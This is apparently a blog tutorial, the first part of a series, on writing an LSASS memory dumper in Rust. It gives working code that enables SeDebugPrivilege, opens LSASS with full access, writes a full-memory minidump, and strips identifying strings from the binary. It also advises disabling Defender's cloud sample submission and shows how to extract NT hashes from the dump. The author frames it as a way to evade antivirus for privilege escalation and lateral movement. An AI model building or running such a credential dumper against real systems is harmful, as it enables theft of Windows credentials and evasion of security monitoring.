A bit rusty — Let's Dump LSASS part 1

This post is part of a series where I go through the steps of building an LSASS dumper in Rust, eventually building up to bypassing AVs and EDRs. Feel free to skip between the posts.

  1. A bit rusty
  2. Coming soon!

By the end of this post, you should have a working dumper that doesn’t get caught by Defender, that can successfully dump LSASS on Windows 10 and earlier (and some versions of Windows 11).

Intro

Wow, bypassing AV sucks. I just want my damn credentials out of LSASS so I can privesc and pivot, but nooooo, apparently I’m not allowed to disable Defender, so mimikatz keeps getting deleted.

Screw it, let’s build our own LSASS dumper.

First, we need to choose a language. Everyone’s done it in C and C# before, so how about something different. I need something that can be cross-compiled so I don’t have to compile code in a VM. So basically these are the options:

But Rust could be fun. I’ve recently been using it a fair bit on other projects, and while it’s a pain in the ass to get around the compiler sometimes, it’s extremely satisfying to get working. Plus Microsoft has released Rust bindings for the Windows APIs, which makes our job of using these APIs a lot easier.

So let’s use Rust.

The new project

As per usual with new Rust projects, we’ve got to, well, create the project. I’m gonna assume you’ve already installed Rust by this stage, probably with rustup.

Anyway, let’s create the project. I’m gonna call it ldl (“let’s dump lsass”. I’m very original).

cargo new ldl

Open the new project in your editor of choice. First, we need to add the aforementioned Rust Windows API bindings. Add this to Cargo.toml under [dependencies]:

Cargo.toml:

[dependencies]

[dependencies.windows]
version = "0.52"
features = [
	"Win32_Foundation",
	"Win32_Storage_FileSystem",
	"Win32_System_Diagnostics_Debug",
	"Win32_System_Kernel",
	"Win32_System_IO",
	"Win32_System_Memory",
	"Win32_System_Threading",
]

Don’t worry about what these “features” are for now. They’re just there so we get the APIs and types we want.

We’re going to use the dumb, simple, classic way of dumping LSASS for now — using MiniDumpWriteDump. Later in this series we’ll use something smarter, but for now easy is good. Open up your src/main.rs, and let’s get cracking on the code.

The dumper

Let’s ignore the main function for now, and work on the function that’s going to do the actual dumping. Taking a look at the API for MiniDumpWriteDump shows that these are the parameters the function is expecting:

pub unsafe fn MiniDumpWriteDump(
    hprocess: HANDLE,
    processid: u32,
    hfile: HANDLE,
    dumptype: MINIDUMP_TYPE,
    exceptionparam: Option<*const MINIDUMP_EXCEPTION_INFORMATION>,
    userstreamparam: Option<*const MINIDUMP_USER_STREAM_INFORMATION>,
    callbackparam: Option<*const MINIDUMP_CALLBACK_INFORMATION>,
) -> windows_core::Result<()>

Wowza that’s a lot. Okay, one thing at a time:

Back to getting this function a value for hprocess. There are lots of fancy ways out there of getting this, but we’re all about doing it the easy way, and the easy way is to call OpenProcess().

The OpenProcess API is fairly straightforward:

pub unsafe fn OpenProcess(
    dwdesiredaccess: PROCESS_ACCESS_RIGHTS,
    binherithandle: bool,
    dwprocessid: u32,
) -> windows_core::Result<HANDLE>

For the desired access, we want PROCESS_ALL_ACCESS, since we want to be able to access every part of LSASS’s memory. We don’t particularly care if our child processes inherit this handle, so we set binherithandle to false. And dwprocessid is our process ID!

Let’s put this all together:

/src/main.rs:

fn dump(process_id: u32, out_file: &File) -> windows::core::Result<()> {
    let process = unsafe { OpenProcess(PROCESS_ALL_ACCESS, false, process_id) }?;

    let res = unsafe {
        MiniDumpWriteDump(
            process,
            process_id,
            HANDLE(out_file.as_raw_handle() as _),
            MiniDumpWithFullMemory,
            None,
            None,
            None,
        )
    };

    let _ = unsafe { CloseHandle(process) };

    res
}

You’ll probably notice a lot of unsafe blocks everywhere. This is because safety is a social construct invented by the bourgeoisie to keep the proletariat from interfacing with the system. Also probably because we’re passing a lot of handles around here (which are basically just pointers), which can mess up the stability of the program, but that’s beside the point. This code usually doesn’t crash, so just ignore it.

main

Okay, we have our dump() function, so we should probably actually use it. The following code is submitted without comment:

/src/main.rs:

fn main() -> Result<(), Box<dyn Error>> {
    let args: Vec<_> = std::env::args().collect();
    if args.len() != 3 {
        println!("Usage: ldl.exe <process_id> <out_path>");
        return Ok(());
    }

    let process_id: u32 = args[1].parse()?;
    let out_path = &args[2];

    let out_file = File::create(out_path)?;

    dump(process_id, &out_file)?;

    println!("Dumped! Check {out_path}");
    Ok(())
}

Okay, I lied, I’m commenting on it. It’s fairly simple — we just get the target process ID and a path to write the dump out to from the command line, parse it, create the file, and then pass it to dump(). Also, I’m not doing any error handling here and just hoping it doesn’t crash lol.

Let’s build the project. Unless you’re already ahead of me (gold star for you), you probably haven’t actually imported the functions and types we want (hot tip: if you press Ctrl+. in VS Code when your cursor is over a missing type it gives you a suggestion to import it).

Paste this at the top of your code:

/src/main.rs:

use std::{error::Error, fs::File, os::windows::io::AsRawHandle};

use windows::Win32::{
    Foundation::{CloseHandle, HANDLE},
    System::{
        Diagnostics::Debug::{MiniDumpWithFullMemory, MiniDumpWriteDump},
        Threading::{OpenProcess, PROCESS_ALL_ACCESS},
    },
};

And run this in your terminal:

cargo build --release

Sweet sweet errors

Oh, you got an error?

A screenshot of a Linux terminal showing the above command being run, resulting in a compilation error

Well that’s probably because you’re not on Windows, but you’re trying to build for Windows. Dummy. Don’t worry, I did this on my first go too, but thankfully it’s an easy fix. Create the folder .cargo and create the file config.toml inside of it with the following contents:

/.cargo/config.toml:

[build]
target = "x86_64-pc-windows-gnu"

You’ll probably also want to run the following command:

rustup target add x86_64-pc-windows-gnu

Now try to build it again and hopefully it just works this time. Otherwise you’ve got a bit of googling to do.

A screenshot of a Linux terminal showing successful compilation of the project

Sidenote — Optimising the build

You might notice that by default the binary that it spits out is massive. Like, we’re talking almost 6MB for a program with less than 50 lines of code. Worse, it’s got a bunch of strings in it that kinda give away who compiled it. That’s not gonna cut it. Thankfully, it’s an easy fix:

/Cargo.toml:

[profile.release]
strip = "symbols"
panic = "abort"
opt-level = "z"
lto = true

After rebuilding, the output binary should be 20x smaller! In my case it’s now 260kB, and no longer has any naughty strings.

Run it

You should probably have a Windows VM for this step. For various reasons, don’t use Windows 11, just go with Windows 10 or earlier. Maybe Server 2016 should be fine too, but idk. Don’t forget to disable cloud-based protection in Defender by the way, if you don’t want Microsoft to also get a copy of your new fancy dumper.

Once you’ve got a VM set up and a copy of your dumper copied across, open up an admin terminal, get the process ID of LSASS, and try dumping it!

A screenshot of a Windows terminal showing the program being run. This has resulted in the program crashing with an “access denied” error

Ah fun, another error. It’s probably because we missed a step.

Doing the step we missed

Going back to the docs for OpenProcess, it looks like we missed something:

If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.

We should probably enable the SeDebugPrivilege privilege aye.

First, we’re going to need to add another feature to the Windows API dependency:

/Cargo.toml:

features = [
    ...
    "Win32_Security",
]

Next, we need to figure out how the hell we grant ourselves this privilege.

Googling around for a bit gives us AdjustTokenPrivileges, which does exactly what we want. The API for it is, uh, daunting.

pub unsafe fn AdjustTokenPrivileges(
    tokenhandle: HANDLE,
    disableallprivileges: bool,
    newstate: Option<*const TOKEN_PRIVILEGES>,
    bufferlength: u32,
    previousstate: Option<*mut TOKEN_PRIVILEGES>,
    returnlength: Option<*mut u32>,
) -> windows_core::Result<()>

Okay, easy stuff first: disableallprivileges can be set to false since we probably want to leave the other privileges intact; bufferlength is going to be the size of the “new state”; and previousstate and returnlength can both be set to None since we don’t really care about them.

The token handle is probably the next easiest thing to get. For this we can call OpenProcessToken and get this handle. It’s a pretty simple API thankfully, and we just need to give it a process handle (which we get from calling GetCurrentProcess), the desired access (TOKEN_ADJUST_PRIVILEGES and TOKEN_QUERY), and a place to output the token handle to.

Creating the new state is a bit weirder. In order to build the struct of privileges we want, we have to get the locally-unique identifier (LUID) of the privilege. For that, we need to use LookupPrivilegeValueA. Here we just need to pass null for the system name, "SeDebugPrivilege" as the name, and then somewhere to chuck the LUID into.

With this LUID, we then chuck it into a LUID_AND_ATTRIBUTES struct, which then goes inside of a TOKEN_PRIVILEGES struct into the privileges array. Because Microsoft hasn’t heard of const generics yet, this array can only have one value (I kid; they probably know of them, but const generics are a pain in the ass to work with). It doesn’t matter for our case anyway, since we only want the one privilege.

With all of our pieces assembled, we can finally construct our new function:

/src/main.rs:

fn se_debug() -> windows::core::Result<()> {
    let mut h_token = HANDLE(0);

    unsafe {
        OpenProcessToken(
            GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &mut h_token,
        )
    }?;

    let privs = LUID_AND_ATTRIBUTES {
        Luid: LUID {
            LowPart: 0,
            HighPart: 0,
        },
        Attributes: SE_PRIVILEGE_ENABLED,
    };

    let mut tp = TOKEN_PRIVILEGES {
        PrivilegeCount: 1,
        Privileges: [privs; 1],
    };

    unsafe {
        LookupPrivilegeValueA(
            PCSTR::null(),
            PCSTR("SeDebugPrivilege\0".as_ptr() as *const u8),
            &mut tp.Privileges[0].Luid,
        )
    }?;

    unsafe {
        AdjustTokenPrivileges(
            h_token,
            false,
            Some(&tp),
            size_of::<TOKEN_PRIVILEGES>() as _,
            None,
            None,
        )
    }?;

    Ok(())
}

Oh, and don’t forget to call it in main():

/src/main.rs:

fn main() -> Result<(), Box<dyn Error>> {
    ...
    let out_file = File::create(out_path)?;

    se_debug()?;

    dump(process_id, &out_file)?;
    ...
}

You’ll probably also want to import the functions, but that’s left as an exercise for the reader.

But does it work now?

Recompiling and copying the program over to the VM again, we can try dumping LSASS a second time:

A screenshot of a Windows terminal showing the program being run again. This time it shows LSASS being successfully dumped and the memory dump being saved to a file

Success at last! There should now be an output file which we can then pull the creds out of. Also, did you notice that it wasn’t caught by Defender? Hell yeah.

Anyway, chuck the output file into pypykatz:

A screenshot of a Linux terminal showing the memory dump being loaded and successfully parsed by pypykatz

That looks like a successful dump to me! Scrolling through the output, you should be able to find the NT hash of your VM password, which you can then crack back into your password if you’d like.

Where next?

It dumps LSASS, what more can you want?

Oh? To bypass other AVs? And EDRs? And it to also work on Windows 11? Ah, right.

This is just the first part in a multi-part series I’m working on. Over the next few posts we’ll be adding more and more features. Next time we’ll look at adding a callback to MiniDumpWriteDump so that we can encode the output instead of dumping a raw file.